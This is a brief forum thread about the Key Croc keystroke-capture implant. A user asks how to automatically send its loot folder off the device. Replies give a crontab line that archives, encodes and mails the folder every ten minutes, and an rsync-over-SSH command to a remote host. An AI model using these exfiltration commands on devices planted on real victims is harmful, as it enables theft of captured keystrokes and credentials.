jimcola99 Posted June 14, 2020 Share Posted June 14, 2020 Since the Keycroc is a Linux box, Can we set up a Cron Job? Where a script can be run to email or FTP the loot file every few minutes. Link to comment Share on other sites More sharing options...
jimcola99 Posted June 14, 2020 Author Share Posted June 14, 2020 I mean loot folder. Link to comment Share on other sites More sharing options...
X00Gendo Posted June 14, 2020 Share Posted June 14, 2020 I haven't tried this, but surely this is something you could check by SSHing into the croc? Link to comment Share on other sites More sharing options...
jimcola99 Posted June 15, 2020 Author Share Posted June 15, 2020 On 6/14/2020 at 12:22 PM, kdodge said: does the key croc have sendmail installed? $ crontab -e */10 * * * * echo -e "Subject:Loot\n" > sample_header.txt && tar cvf - /path/to/loot/folder/* | gzip -9 | base64 | cat sample_header.txt - | sendmail email@example.com && rm sample_header.txt This is untested, you may need to fiddle with it. Thanks man. Having trouble with sendmail. I probably haven't got something configured right. Link to comment Share on other sites More sharing options...
Omar01 Posted March 2, 2021 Share Posted March 2, 2021 you can use rsync its faster rsync -avz -e ssh /home/user/funStff/ 192.168.X.X:/mnt/funStuff/ Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.